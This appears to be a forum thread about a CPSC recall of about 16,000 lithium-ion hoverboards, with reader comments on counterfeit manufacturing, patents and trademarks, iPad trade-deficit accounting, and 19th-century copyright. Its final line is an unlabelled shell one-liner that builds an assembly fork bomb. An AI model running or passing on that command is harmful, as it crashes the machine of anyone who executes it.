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Hoverboards Recalled For Fire and Explosion Risks -- Again (cnbc.com)
An anonymous reader shares a report: The Consumer Product Safety Commission recalled hoverboards from several companies over concerns the devices could catch fire or explode. The series of recalls affects roughly 16,000 hoverboards from brands including iHoverspeed, Sonic Smart Wheels, Tech Drift, iLive, Go Wheels, Drone Nerds, LayZ Board and Smart Balance Wheel. All the brands of self-balancing scooters share a common problem: lithium-ion batteries that could potentially overheat and cause a fire or explode. The agency is advising owners to stop using the hoverboards immediately and return them to the appropriate company for a replacement. Consumers can visit the CPSC website for details on the recalls and how to contact companies for replacements.
Maybe its just me, but personally I won't have anything to do with any product with a lithium ion battery that isn't from a major manufacturer. I find it too risky to accept that someone operating on thin margins is doing all the engineering necessary to ensure their products and supply chains are safe.
The China model is that you have a bunch of factories making stuff but no IP. I.e. no trademarks and no patents.
So one factory makes a hoverboard, and the others copy it because of no patents and no copyright. However some of them mess up and make something which shorts out the batteries and catches fire. The problem is that then the consumers have no idea if a given hoverboard is from one of the good companies or one of the bad ones. So consumers get wary, and most likely regulators step in and ban them. E.g. they're banned on the NYC subway.
So a product which could have been pretty popular doesn't.
Now the US model is different. You have copyright and patents. Most importantly you have trademarks and brands. So you can work out which brands are reliable and buy from them. And patents and copyright mean those brands can't be cloned. Well regarded brands can sell their stuff at a hefty markup from raw materials because people trust them. And copyright and patents mean that the inventors might even get compensated. In China if something sells the guy who owns the factory makes money and the inventor gets nothing.
Copyrights, patents and brands mean that for an iPad much of the profit stays in the US, even though the hardware is assembled in China and the chips made in Taiwan or Korea.
https://i.imgur.com/gMTYvBE.pn...
https://web.archive.org/web/20...
Take the iPad, which America imports from China even though it is entirely designed and owned by Apple, an American company. iPads are assembled in Chinese factories owned by Foxconn, a Taiwanese firm, largely from parts produced outside China. According to a study by the Personal Computing Industry Centre, each iPad sold in America adds $275, the total production cost, to America's trade deficit with China, yet the value of the actual work performed in China accounts for only $10. Using these numbers, The Economist estimates that iPads accounted for around $4 billion of America's reported trade deficit with China in 2011; but if China's exports were measured on a value-added basis, the deficit was only $150m.
The chart shows a geographical breakdown of the retail price of an iPad. The main rewards go to American shareholders and workers. Apple's profit amounts to about 30% of the sales price. Product design, software development and marketing are based in America. Add in the profits and wages of American suppliers, and distribution and retail costs, and America retains about half the total value of an iPad sold there. The next biggest gainers are South Korean firms like Samsung and LG, which provide the display and memory chips, whose profits account for 7% of an iPad's value. The main financial benefit to China is wages paid to workers for assembling the product and for manufacturing some inputs-equivalent to only 2% of the retail price.
Of course this probably isn't lost on the Chinese. The US had very lax copyright laws, up to the point authors lobbied to tighten them up. Dickens complained his books had no copyright protection in the US. The same thing happened to Edgar Allen Poe when his books were not copyright protected in the UK.
https://www.charlesdickensinfo...
While on tour Dickens often spoke of the need for an international copyright agreement. The lack of such an agreement enabled his books to be published in the United States without his permission and without any royalties being paid.
This situation also affected American writers like Edgar Allan Poe. Poe's works were published in England without his consent.
Dickens first realized that he was losing income because of the lack of national in international copyright laws in 1837 when The Pickwick Papers was published in book form. At times the novel was reprinted with
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;